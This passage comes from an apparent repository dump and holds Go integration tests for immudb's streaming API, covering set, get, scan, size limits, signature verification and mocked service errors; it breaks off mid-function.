replicateTxStream.Send(txChunk)\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\thdr, err := replicateTxStream.CloseAndRecv()\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, i, hdr.Id)\n\t}\n\n\treplicatedEntry, err := rclient.GetAt(rctx, []byte(\"key1\"), hdr.Id)\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte(\"value1\"), replicatedEntry.Value)\n\trequire.Equal(t, hdr.Id, replicatedEntry.Tx)\n\n\terr = client.CloseSession(context.Background())\n\trequire.NoError(t, err)\n\n\t_, err = client.ExportTx(context.Background(), &schema.ExportTxRequest{Tx: 1})\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\terr = rclient.CloseSession(context.Background())\n\trequire.NoError(t, err)\n\n\t_, err = rclient.ReplicateTx(rctx)\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n}\n"
  },
  {
    "path": "pkg/integration/stream/stream_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage integration\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"context\"\n\t\"crypto/sha256\"\n\n\tic \"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/client/errors\"\n\t\"github.com/codenotary/immudb/pkg/signer\"\n\n\t\"fmt\"\n\t\"io\"\n\t\"log\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n\t\"github.com/codenotary/immudb/pkg/stream\"\n\t\"github.com/codenotary/immudb/pkg/stream/streamtest\"\n\t\"github.com/codenotary/immudb/pkg/streamutils\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc setupTestWithSignatures(t *testing.T, privKey string, pubKey string) (*servertest.BufconnServer, ic.ImmuClient) {\n\toptions := server.DefaultOptions().WithDir(t.TempDir())\n\tif privKey != \"\" {\n\t\toptions = options.WithSigningKey(\"./../../../test/signer/\" + privKey)\n\t}\n\tbs := servertest.NewBufconnServer(options)\n\n\tbs.Start()\n\tt.Cleanup(func() { bs.Stop() })\n\n\tcliOpts := ic.DefaultOptions().WithDir(t.TempDir())\n\tif pubKey != \"\" {\n\t\tcliOpts = cliOpts.WithServerSigningPubKey(\"./../../../test/signer/\" + pubKey)\n\t}\n\tclient, err := bs.NewAuthenticatedClient(cliOpts)\n\trequire.NoError(t, err)\n\n\tt.Cleanup(func() { client.CloseSession(context.Background()) })\n\n\treturn bs, client\n}\n\nfunc setupTest(t *testing.T) (*servertest.BufconnServer, ic.ImmuClient) {\n\treturn setupTestWithSignatures(t, \"\", \"\")\n}\n\nfunc TestImmuClient_SetGetStream(t *testing.T) {\n\t_, client := setupTest(t)\n\n\ttmpFile, err := streamtest.GenerateDummyFile(\"myFile1\", 1_000_000)\n\trequire.NoError(t, err)\n\tdefer tmpFile.Close()\n\tdefer os.Remove(tmpFile.Name())\n\n\thOrig := sha256.New()\n\t_, err = io.Copy(hOrig, tmpFile)\n\trequire.NoError(t, err)\n\toriSha := hOrig.Sum(nil)\n\n\ttmpFile.Seek(0, io.SeekStart)\n\n\tkvs, err := streamutils.GetKeyValuesFromFiles(tmpFile.Name())\n\trequire.NoError(t, err)\n\n\thdr, err := client.StreamSet(context.Background(), kvs)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, hdr)\n\n\tentry, err := client.StreamGet(context.Background(), &schema.KeyRequest{Key: []byte(tmpFile.Name())})\n\trequire.NoError(t, err)\n\trequire.NotNil(t, hdr)\n\n\tnewSha := sha256.Sum256(entry.Value)\n\trequire.Equal(t, oriSha, newSha[:])\n}\n\nfunc TestImmuClient_Set32MBStream(t *testing.T) {\n\t_, client := setupTest(t)\n\n\ttmpFile, err := streamtest.GenerateDummyFile(\"myFile1\", (32<<20)-1)\n\trequire.NoError(t, err)\n\tdefer tmpFile.Close()\n\tdefer os.Remove(tmpFile.Name())\n\n\tkvs, err := streamutils.GetKeyValuesFromFiles(tmpFile.Name())\n\trequire.NoError(t, err)\n\n\thdr, err := client.StreamSet(context.Background(), kvs)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, hdr)\n\n\t_, err = client.StreamGet(context.Background(), &schema.KeyRequest{Key: []byte(tmpFile.Name())})\n\trequire.NoError(t, err)\n\trequire.NotNil(t, hdr)\n}\n\nfunc TestImmuClient_SetMaxValueExceeded(t *testing.T) {\n\t_, client := setupTest(t)\n\n\ttmpFile, err := streamtest.GenerateDummyFile(\"myFile1\", 32<<20)\n\trequire.NoError(t, err)\n\tdefer tmpFile.Close()\n\tdefer os.Remove(tmpFile.Name())\n\n\tkvs, err := streamutils.GetKeyValuesFromFiles(tmpFile.Name())\n\trequire.NoError(t, err)\n\n\t_, err = client.StreamSet(context.Background(), kvs)\n\trequire.ErrorContains(t, err, stream.ErrMaxValueLenExceeded)\n\trequire.Equal(t, errors.CodDataException, err.(errors.ImmuError).Code())\n}\n\nfunc TestImmuClient_SetMaxTxValuesExceeded(t *testing.T) {\n\t_, client := setupTest(t)\n\n\ttmpFile1, err := streamtest.GenerateDummyFile(\"myFile1\", 16<<20)\n\trequire.NoError(t, err)\n\tdefer tmpFile1.Close()\n\tdefer os.Remove(tmpFile1.Name())\n\n\ttmpFile2, err := streamtest.GenerateDummyFile(\"tmpFile2\", 16<<20)\n\trequire.NoError(t, err)\n\tdefer tmpFile2.Close()\n\tdefer os.Remove(tmpFile2.Name())\n\n\ttmpFile3, err := streamtest.GenerateDummyFile(\"tmpFile3\", 16<<20)\n\trequire.NoError(t, err)\n\tdefer tmpFile3.Close()\n\tdefer os.Remove(tmpFile3.Name())\n\n\tkvs, err := streamutils.GetKeyValuesFromFiles(tmpFile1.Name(), tmpFile2.Name(), tmpFile3.Name())\n\trequire.NoError(t, err)\n\n\t_, err = client.StreamSet(context.Background(), kvs)\n\trequire.ErrorContains(t, err, stream.ErrMaxTxValuesLenExceeded)\n\trequire.Equal(t, errors.CodDataException, err.(errors.ImmuError).Code())\n}\n\nfunc TestImmuClient_SetGetSmallMessage(t *testing.T) {\n\t_, client := setupTest(t)\n\n\ttmpFile, err := streamtest.GenerateDummyFile(\"myFile1\", 1)\n\trequire.NoError(t, err)\n\tdefer tmpFile.Close()\n\tdefer os.Remove(tmpFile.Name())\n\n\thOrig := sha256.New()\n\t_, err = io.Copy(hOrig, tmpFile)\n\trequire.NoError(t, err)\n\toriSha := hOrig.Sum(nil)\n\n\ttmpFile.Seek(0, io.SeekStart)\n\n\tkvs, err := streamutils.GetKeyValuesFromFiles(tmpFile.Name())\n\trequire.NoError(t, err)\n\n\thdr, err := client.StreamSet(context.Background(), kvs)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, hdr)\n\n\tentry, err := client.StreamGet(context.Background(), &schema.KeyRequest{Key: []byte(tmpFile.Name())})\n\trequire.NoError(t, err)\n\trequire.NotNil(t, hdr)\n\n\tnewSha := sha256.Sum256(entry.Value)\n\trequire.Equal(t, oriSha, newSha[:])\n}\n\nfunc TestImmuClient_SetMultipleKeys(t *testing.T) {\n\t_, client := setupTest(t)\n\n\tkey1 := []byte(\"key1\")\n\tval1 := []byte(\"val1\")\n\tkey2 := []byte(\"key2\")\n\tval2 := []byte(\"val2\")\n\tkv1 := &stream.KeyValue{\n\t\tKey: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer(key1)),\n\t\t\tSize:    len(key1),\n\t\t},\n\t\tValue: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer(val1)),\n\t\t\tSize:    len(val1),\n\t\t},\n\t}\n\tkv2 := &stream.KeyValue{\n\t\tKey: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer(key2)),\n\t\t\tSize:    len(key2),\n\t\t},\n\t\tValue: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer(val2)),\n\t\t\tSize:    len(val2),\n\t\t},\n\t}\n\n\tkvs := []*stream.KeyValue{kv1, kv2}\n\thdr, err := client.StreamSet(context.Background(), kvs)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, hdr)\n\n\tentry1, err := client.StreamGet(context.Background(), &schema.KeyRequest{Key: key1})\n\trequire.NoError(t, err)\n\trequire.NotNil(t, hdr)\n\trequire.Equal(t, val1, entry1.Value)\n\n\trequire.Equal(t, sha256.Sum256(val1), sha256.Sum256(entry1.Value))\n\n\tentry2, err := client.StreamGet(context.Background(), &schema.KeyRequest{Key: key2})\n\trequire.NoError(t, err)\n\trequire.NotNil(t, hdr)\n\trequire.Equal(t, val2, entry2.Value)\n}\n\nfunc TestImmuClient_SetMultipleLargeEntries(t *testing.T) {\n\t_, client := setupTest(t)\n\n\ttmpFile1, err := streamtest.GenerateDummyFile(\"myFile1\", 1<<14)\n\trequire.NoError(t, err)\n\tdefer tmpFile1.Close()\n\tdefer os.Remove(tmpFile1.Name())\n\n\thOrig1 := sha256.New()\n\t_, err = io.Copy(hOrig1, tmpFile1)\n\trequire.NoError(t, err)\n\toriSha1 := hOrig1.Sum(nil)\n\n\ttmpFile2, err := streamtest.GenerateDummyFile(\"myFile1\", 1<<13)\n\trequire.NoError(t, err)\n\tdefer tmpFile2.Close()\n\tdefer os.Remove(tmpFile2.Name())\n\n\thOrig2 := sha256.New()\n\t_, err = io.Copy(hOrig2, tmpFile2)\n\trequire.NoError(t, err)\n\toriSha2 := hOrig2.Sum(nil)\n\n\tkvs, err := streamutils.GetKeyValuesFromFiles(tmpFile1.Name(), tmpFile2.Name())\n\n\thdr, err := client.StreamSet(context.Background(), kvs)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, hdr)\n\n\tentry1, err := client.StreamGet(context.Background(), &schema.KeyRequest{Key: []byte(tmpFile1.Name())})\n\trequire.NoError(t, err)\n\n\tnewSha1 := sha256.Sum256(entry1.Value)\n\trequire.Equal(t, oriSha1, newSha1[:])\n\n\tentry2, err := client.StreamGet(context.Background(), &schema.KeyRequest{Key: []byte(tmpFile2.Name())})\n\trequire.NoError(t, err)\n\n\tnewSha2 := sha256.Sum256(entry2.Value)\n\trequire.Equal(t, oriSha2, newSha2[:])\n}\n\nfunc TestImmuClient_SetMultipleKeysLoop(t *testing.T) {\n\t_, client := setupTest(t)\n\n\tkvs := []*stream.KeyValue{}\n\n\tfor i := 1; i <= 100; i++ {\n\t\tkv := &stream.KeyValue{\n\t\t\tKey: &stream.ValueSize{\n\t\t\t\tContent: bufio.NewReader(bytes.NewBuffer([]byte(fmt.Sprintf(\"key-%d\", i)))),\n\t\t\t\tSize:    len([]byte(fmt.Sprintf(\"key-%d\", i))),\n\t\t\t},\n\t\t\tValue: &stream.ValueSize{\n\t\t\t\tContent: bufio.NewReader(bytes.NewBuffer([]byte(fmt.Sprintf(\"val-%d\", i)))),\n\t\t\t\tSize:    len([]byte(fmt.Sprintf(\"val-%d\", i))),\n\t\t\t},\n\t\t}\n\t\tkvs = append(kvs, kv)\n\t}\n\n\thdr, err := client.StreamSet(context.Background(), kvs)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, hdr)\n\n\tfor i := 1; i <= 100; i++ {\n\t\t_, err = client.StreamGet(context.Background(), &schema.KeyRequest{Key: []byte(fmt.Sprintf(\"key-%d\", i))})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, hdr)\n\t}\n}\n\nfunc TestImmuClient_StreamScan(t *testing.T) {\n\t_, client := setupTest(t)\n\n\tkvs := []*stream.KeyValue{}\n\n\tfor i := 1; i <= 100; i++ {\n\t\tkv := &stream.KeyValue{\n\t\t\tKey: &stream.ValueSize{\n\t\t\t\tContent: bufio.NewReader(bytes.NewBuffer([]byte(fmt.Sprintf(\"key-%d\", i)))),\n\t\t\t\tSize:    len([]byte(fmt.Sprintf(\"key-%d\", i))),\n\t\t\t},\n\t\t\tValue: &stream.ValueSize{\n\t\t\t\tContent: bufio.NewReader(bytes.NewBuffer([]byte(fmt.Sprintf(\"val-%d\", i)))),\n\t\t\t\tSize:    len([]byte(fmt.Sprintf(\"val-%d\", i))),\n\t\t\t},\n\t\t}\n\t\tkvs = append(kvs, kv)\n\t}\n\n\thdr, err := client.StreamSet(context.Background(), kvs)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, hdr)\n\n\tscanResp, err := client.StreamScan(context.Background(), &schema.ScanRequest{\n\t\tPrefix:  []byte(\"key\"),\n\t\tSinceTx: hdr.Id,\n\t})\n\n\trequire.Len(t, scanResp.Entries, 100)\n}\n\nfunc TestImmuClient_SetEmptyReader(t *testing.T) {\n\t_, client := setupTest(t)\n\n\tkv1 := &stream.KeyValue{\n\t\tKey: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer([]byte(`myKey1`))),\n\t\t\tSize:    len([]byte(`myKey1`)),\n\t\t},\n\t\tValue: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer([]byte{})),\n\t\t\tSize:    int(50),\n\t\t},\n\t}\n\n\tkv2 := &stream.KeyValue{\n\t\tKey: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer([]byte(`myKey2`))),\n\t\t\tSize:    len([]byte(`myKey2`)),\n\t\t},\n\t\tValue: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer([]byte(`myKey2`))),\n\t\t\tSize:    len([]byte(`myKey2`)),\n\t\t},\n\t}\n\n\tkvs := []*stream.KeyValue{kv1, kv2}\n\thdr, err := client.StreamSet(context.Background(), kvs)\n\trequire.ErrorIs(t, err, io.EOF)\n\trequire.Nil(t, hdr)\n}\n\nfunc TestImmuClient_SetSizeTooLarge(t *testing.T) {\n\t_, client := setupTest(t)\n\n\tkv1 := &stream.KeyValue{\n\t\tKey: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer([]byte(`myKey1`))),\n\t\t\tSize:    len([]byte(`myKey1`)),\n\t\t},\n\t\tValue: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer([]byte(`myVal1`))),\n\t\t\tSize:    len([]byte(`myVal1`)) + 10,\n\t\t},\n\t}\n\n\tkvs := []*stream.KeyValue{kv1}\n\thdr, err := client.StreamSet(context.Background(), kvs)\n\trequire.ErrorIs(t, err, io.EOF)\n\trequire.Nil(t, hdr)\n}\n\nfunc TestImmuClient_SetSizeTooLargeOnABigMessage(t *testing.T) {\n\t_, client := setupTest(t)\n\n\tf, _ := streamtest.GenerateDummyFile(\"myFile\", 20_000_000)\n\tdefer f.Close()\n\tdefer os.Remove(f.Name())\n\n\tkvs1, err := streamutils.GetKeyValuesFromFiles(f.Name())\n\tkvs1[0].Value.Size = 22_000_000\n\n\thdr, err := client.StreamSet(context.Background(), kvs1)\n\trequire.ErrorIs(t, err, io.EOF)\n\trequire.Nil(t, hdr)\n\n\tf1, _ := streamtest.GenerateDummyFile(\"myFile1\", 10_000_000)\n\tdefer f.Close()\n\tdefer os.Remove(f.Name())\n\tf2, _ := streamtest.GenerateDummyFile(\"myFile2\", 10_000_000)\n\tdefer f.Close()\n\tdefer os.Remove(f.Name())\n\n\tkvs2, err := streamutils.GetKeyValuesFromFiles(f1.Name(), f2.Name())\n\tkvs2[1].Value.Size = 12_000_000\n\n\thdr, err = client.StreamSet(context.Background(), kvs2)\n\trequire.ErrorIs(t, err, io.EOF)\n\trequire.Nil(t, hdr)\n}\n\nfunc TestImmuClient_ExecAll(t *testing.T) {\n\t_, client := setupTest(t)\n\n\taOps := &stream.ExecAllRequest{\n\t\tOperations: []*stream.Op{\n\t\t\t{\n\t\t\t\tOperation: &stream.Op_KeyValue{\n\t\t\t\t\tKeyValue: &stream.KeyValue{\n\t\t\t\t\t\tKey: &stream.ValueSize{\n\t\t\t\t\t\t\tContent: bytes.NewBuffer([]byte(`exec-all-key`)),\n\t\t\t\t\t\t\tSize:    len([]byte(`exec-all-key`)),\n\t\t\t\t\t\t},\n\t\t\t\t\t\tValue: &stream.ValueSize{\n\t\t\t\t\t\t\tContent: bytes.NewBuffer([]byte(`exec-all-val`)),\n\t\t\t\t\t\t\tSize:    len([]byte(`exec-all-val`)),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tOperation: &stream.Op_ZAdd{\n\t\t\t\t\tZAdd: &schema.ZAddRequest{\n\t\t\t\t\t\tSet:      []byte(`exec-all-set`),\n\t\t\t\t\t\tScore:    85.4,\n\t\t\t\t\t\tKey:      []byte(`exec-all-key`),\n\t\t\t\t\t\tAtTx:     0,\n\t\t\t\t\t\tBoundRef: true,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tOperation: &stream.Op_KeyValue{\n\t\t\t\t\tKeyValue: &stream.KeyValue{\n\t\t\t\t\t\tKey: &stream.ValueSize{\n\t\t\t\t\t\t\tContent: bytes.NewBuffer([]byte(`exec-all-key2`)),\n\t\t\t\t\t\t\tSize:    len([]byte(`exec-all-key2`)),\n\t\t\t\t\t\t},\n\t\t\t\t\t\tValue: &stream.ValueSize{\n\t\t\t\t\t\t\tContent: bytes.NewBuffer([]byte(`exec-all-val2`)),\n\t\t\t\t\t\t\tSize:    len([]byte(`exec-all-val2`)),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tOperation: &stream.Op_ZAdd{\n\t\t\t\t\tZAdd: &schema.ZAddRequest{\n\t\t\t\t\t\tSet:      []byte(`exec-all-set`),\n\t\t\t\t\t\tScore:    85.4,\n\t\t\t\t\t\tKey:      []byte(`exec-all-key2`),\n\t\t\t\t\t\tAtTx:     0,\n\t\t\t\t\t\tBoundRef: true,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\thdr, err := client.StreamExecAll(context.Background(), aOps)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, hdr)\n\n\tentry1, err := client.StreamGet(context.Background(), &schema.KeyRequest{Key: []byte(`exec-all-key`)})\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte(`exec-all-val`), entry1.Value)\n\n\tentry2, err := client.StreamGet(context.Background(), &schema.KeyRequest{Key: []byte(`exec-all-key2`)})\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte(`exec-all-val2`), entry2.Value)\n}\n\nfunc TestImmuClient_StreamWithSignature(t *testing.T) {\n\t_, client := setupTestWithSignatures(t, \"ec1.key\", \"ec1.pub\")\n\n\t_, err := client.StreamVerifiedSet(context.Background(), []*stream.KeyValue{{\n\t\tKey: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer([]byte(`key1`))),\n\t\t\tSize:    len([]byte(`key1`)),\n\t\t},\n\t\tValue: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer([]byte(`val`))),\n\t\t\tSize:    len([]byte(`val`)),\n\t\t},\n\t}})\n\trequire.NoError(t, err)\n\n\t_, err = client.StreamVerifiedGet(context.Background(), &schema.VerifiableGetRequest{KeyRequest: &schema.KeyRequest{Key: []byte(`key1`)}})\n\trequire.NoError(t, err)\n\n\thdr2, err := client.StreamVerifiedSet(context.Background(), []*stream.KeyValue{{\n\t\tKey: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer([]byte(`key2`))),\n\t\t\tSize:    len([]byte(`key2`)),\n\t\t},\n\t\tValue: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer([]byte(`val`))),\n\t\t\tSize:    len([]byte(`val`)),\n\t\t},\n\t}})\n\trequire.NoError(t, err)\n\n\t_, err = client.StreamVerifiedGet(context.Background(), &schema.VerifiableGetRequest{\n\t\tKeyRequest:   &schema.KeyRequest{Key: []byte(`key1`)},\n\t\tProveSinceTx: hdr2.Id,\n\t})\n\trequire.NoError(t, err)\n}\n\nfunc TestImmuClient_StreamWithSignatureErrors(t *testing.T) {\n\t_, client := setupTestWithSignatures(t, \"ec1.key\", \"ec3.pub\")\n\n\t_, err := client.StreamVerifiedSet(context.Background(), []*stream.KeyValue{{\n\t\tKey: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer([]byte(`key`))),\n\t\t\tSize:    len([]byte(`key`)),\n\t\t},\n\t\tValue: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer([]byte(`val`))),\n\t\t\tSize:    len([]byte(`val`)),\n\t\t},\n\t}})\n\trequire.ErrorContains(t, err, signer.ErrKeyCannotBeVerified.Error())\n\n\t_, err = client.StreamVerifiedGet(context.Background(), &schema.VerifiableGetRequest{KeyRequest: &schema.KeyRequest{Key: []byte(`key`)}})\n\trequire.ErrorContains(t, err, signer.ErrKeyCannotBeVerified.Error())\n}\n\nfunc TestImmuClient_StreamWithSignatureErrorsMissingServerKey(t *testing.T) {\n\t_, client := setupTestWithSignatures(t, \"\", \"ec3.pub\")\n\n\t_, err := client.StreamVerifiedSet(context.Background(), []*stream.KeyValue{{\n\t\tKey: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer([]byte(`key`))),\n\t\t\tSize:    len([]byte(`key`)),\n\t\t},\n\t\tValue: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer([]byte(`val`))),\n\t\t\tSize:    len([]byte(`val`)),\n\t\t},\n\t}})\n\trequire.ErrorContains(t, err, \"unable to verify signature\")\n\n\t_, err = client.StreamVerifiedGet(context.Background(), &schema.VerifiableGetRequest{KeyRequest: &schema.KeyRequest{Key: []byte(`key`)}})\n\trequire.ErrorContains(t, err, \"unable to verify signature\")\n}\n\nfunc TestImmuClient_StreamWithSignatureErrorsWrongClientKey(t *testing.T) {\n\t// first set and get needed to create a state and avoid that execution will be break by current state signature verification\n\tbs, client := setupTestWithSignatures(t, \"ec3.key\", \"ec3.pub\")\n\n\t_, err := client.StreamVerifiedSet(context.Background(), []*stream.KeyValue{{\n\t\tKey: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer([]byte(`key`))),\n\t\t\tSize:    len([]byte(`key`)),\n\t\t},\n\t\tValue: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer([]byte(`val`))),\n\t\t\tSize:    len([]byte(`val`)),\n\t\t},\n\t}})\n\trequire.NoError(t, err)\n\n\t_, err = client.StreamVerifiedGet(context.Background(), &schema.VerifiableGetRequest{KeyRequest: &schema.KeyRequest{Key: []byte(`key`)}})\n\trequire.NoError(t, err)\n\n\terr = client.CloseSession(context.Background())\n\trequire.NoError(t, err)\n\n\t// Crete client that verifies using different public key\n\tclient, err = bs.NewAuthenticatedClient(ic.\n\t\tDefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithServerSigningPubKey(\"./../../../test/signer/ec1.pub\"),\n\t)\n\trequire.NoError(t, err)\n\n\t_, err = client.StreamVerifiedGet(context.Background(), &schema.VerifiableGetRequest{KeyRequest: &schema.KeyRequest{Key: []byte(`key`)}})\n\trequire.ErrorContains(t, err, signer.ErrKeyCannotBeVerified.Error())\n\n\t_, err = client.StreamVerifiedSet(context.Background(), []*stream.KeyValue{{\n\t\tKey: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer([]byte(`key`))),\n\t\t\tSize:    len([]byte(`key`)),\n\t\t},\n\t\tValue: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer([]byte(`val`))),\n\t\t\tSize:    len([]byte(`val`)),\n\t\t},\n\t}})\n\trequire.ErrorContains(t, err, signer.ErrKeyCannotBeVerified.Error())\n}\n\nfunc TestImmuClient_StreamerServiceErrors(t *testing.T) {\n\toptions := server.DefaultOptions().WithDir(t.TempDir())\n\tbs := servertest.NewBufconnServer(options)\n\n\terr := bs.Start()\n\trequire.NoError(t, err)\n\tdefer bs.Stop()\n\n\tsfm := DefaultServiceFactoryMock()\n\n\tsfm.NewMsgSenderF = func(str stream.ImmuServiceSender_Stream) stream.MsgSender {\n\t\tsm := streamtest.DefaultImmuServiceSenderStreamMock()\n\t\ts := streamtest.DefaultMsgSenderMock(sm, 4096)\n\t\ts.SendF = func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) {\n\t\t\treturn errors.New(\"custom one\")\n\t\t}\n\t\treturn streamtest.DefaultMsgSenderMock(sm, 4096)\n\t}\n\tsfm.NewMsgReceiverF = func(str stream.ImmuServiceReceiver_Stream) stream.MsgReceiver {\n\t\treturn stream.NewMsgReceiver(str)\n\t}\n\tsfm.NewKvStreamSenderF = func(str stream.MsgSender) stream.KvStreamSender {\n\t\treturn stream.NewKvStreamSender(str)\n\t}\n\tsfm.NewKvStreamReceiverF = func(str stream.MsgReceiver) stream.KvStreamReceiver {\n\t\tme := []*streamtest.MsgError{\n\t\t\t{M: []byte{1, 1, 1}, E: errors.New(\"custom one\")},\n\t\t}\n\t\tmsr := streamtest.DefaultMsgReceiverMock(me)\n\t\treturn stream.NewKvStreamReceiver(msr, 4096)\n\t}\n\n\tsfm.NewVEntryStreamReceiverF = func(str stream.MsgReceiver) stream.VEntryStreamReceiver {\n\t\tme := []*streamtest.MsgError{\n\t\t\t{M: []byte{1, 1, 1}, E: errors.New(\"custom one\")},\n\t\t}\n\t\tmsr := streamtest.DefaultMsgReceiverMock(me)\n\t\treturn stream.NewVEntryStreamReceiver(msr, 4096)\n\t}\n\n\tsfm.NewExecAllStreamSenderF = func(str stream.MsgSender) stream.ExecAllStreamSender {\n\t\treturn stream.NewExecAllStreamSender(str)\n\t}\n\n\tclient, err := bs.NewAuthenticatedClient(ic.DefaultOptions().WithDir(t.TempDir()))\n\trequire.NoError(t, err)\n\tclient.WithStreamServiceFactory(sfm)\n\n\t_, err = client.StreamVerifiedSet(context.Background(), []*stream.KeyValue{{\n\t\tKey: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer([]byte(`key`))),\n\t\t\tSize:    len([]byte(`key`)),\n\t\t},\n\t\tValue: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer([]byte(`val`))),\n\t\t\tSize:    len([]byte(`val`)),\n\t\t},\n\t}})\n\trequire.ErrorIs(t, err, io.EOF)\n\n\t_, err = client.StreamVerifiedGet(context.Background(), &schema.VerifiableGetRequest{KeyRequest: &schema.KeyRequest{Key: []byte(`key`)}})\n\trequire.ErrorContains(t, err, \"custom one\")\n\n\tkey := []byte(\"key3\")\n\tval := []byte(\"val3\")\n\n\tkv := &stream.KeyValue{\n\t\tKey: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer(key)),\n\t\t\tSize:    len(key),\n\t\t},\n\t\tValue: &stream.ValueSize{\n\t\t\tContent: bufio.NewReader(bytes.NewBuffer(val)),\n\t\t\tSize:    len(val),\n\t\t},\n\t}\n\n\t_, err = client.StreamSet(context.Background(), []*stream.KeyValue{kv})\n\trequire.ErrorContains(t, err, \"no entries provided\")\n\n\t_, err = client.StreamGet(context.Background(), &schema.KeyRequest{Key: key})\n\trequire.ErrorContains(t, err, \"custom one\")\n\n\t_, err = client.StreamExecAll(context.Background(), &stream.ExecAllRequest{\n\t\tOperations: []*stream.Op{\n\t\t\t{\n\t\t\t\tOperation: &stream.Op_ZAdd{\n\t\t\t\t\tZAdd: &schema.ZAddRequest{\n\t\t\t\t\t\tSet:      []byte(`exec-all-set`),\n\t\t\t\t\t\tScore:    85.4,\n\t\t\t\t\t\tKey:      []byte(`exec-all-key`),\n\t\t\t\t\t\tAtTx:     0,\n\t\t\t\t\t\tBoundRef: true,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t})\n\trequire.ErrorContains(t, err, \"empty set\")\n}\n\nfunc TestImmuClient_StreamerServiceHistoryErrors(t *testing.T) {\n\toptions := server.DefaultOptions().WithDir(t.TempDir())\n\tbs := servertest.NewBufconnServer(options)\n\n\terr := bs.Start()\n\trequire.NoError(t, err)\n\tdefer bs.Stop()\n\n\tsfm := DefaultServiceFactoryMock()\n\tsfm.NewMsgReceiverF = func(str stream.ImmuServiceReceiver_Stream) stream.MsgReceiver {\n\t\treturn stream.NewMsgReceiver(str)\n\t}\n\tsfm.NewKvStreamSenderF = func(str stream.MsgSender) stream.KvStreamSender {\n\t\treturn stream.NewKvStreamSender(str)\n\t}\n\tsfm.NewKvStreamReceiverF = func(str stream.MsgReceiver) stream.KvStreamReceiver {\n\t\tme := []*streamtest.MsgError{\n\t\t\t{M: []byte{1, 1, 1}, E: errors.New(\"custom one\")},\n\t\t}\n\t\tmsr := streamtest.DefaultMsgReceiverMock(me)\n\t\treturn stream.NewKvStreamReceiver(msr, 4096)\n\t}\n\n\tsfm.NewZStreamReceiverF = func(str stream.MsgReceiver) stream.ZStreamReceiver {\n\t\tme := []*streamtest.MsgError{\n\t\t\t{M: []byte{1, 1, 1}, E: errors.New(\"custom one\")},\n\t\t}\n\t\tmsr := streamtest.DefaultMsgReceiverMock(me)\n\t\treturn stream.NewZStreamReceiver(msr, 4096)\n\t}\n\n\tclient, err := 